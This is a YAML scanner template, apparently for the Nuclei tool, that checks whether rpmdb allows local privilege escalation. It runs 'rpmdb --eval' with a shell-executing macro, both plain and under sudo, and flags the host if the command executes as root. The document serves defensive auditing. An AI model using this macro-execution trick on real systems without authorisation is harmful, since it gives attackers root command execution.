privesc-rpmdb: rpmdb - Privilege Escalation

id: privesc-rpmdb

info:
  name: rpmdb - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    The rpmdb is the database used by the RPM Package Manager to store metadata about installed packages on a Linux system. It is used to track information about installed packages, including their files, dependencies, and other attributes. The rpmdb is a critical component of package management on RPM-based Linux distributions.
  reference:
    - https://gtfobins.github.io/gtfobins/rpmdb/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,rpmdb,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      rpmdb --eval '%(whoami 1>&2)'

  - engine:
      - sh
      - bash
    source: |
      sudo rpmdb --eval '%(whoami 1>&2)'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
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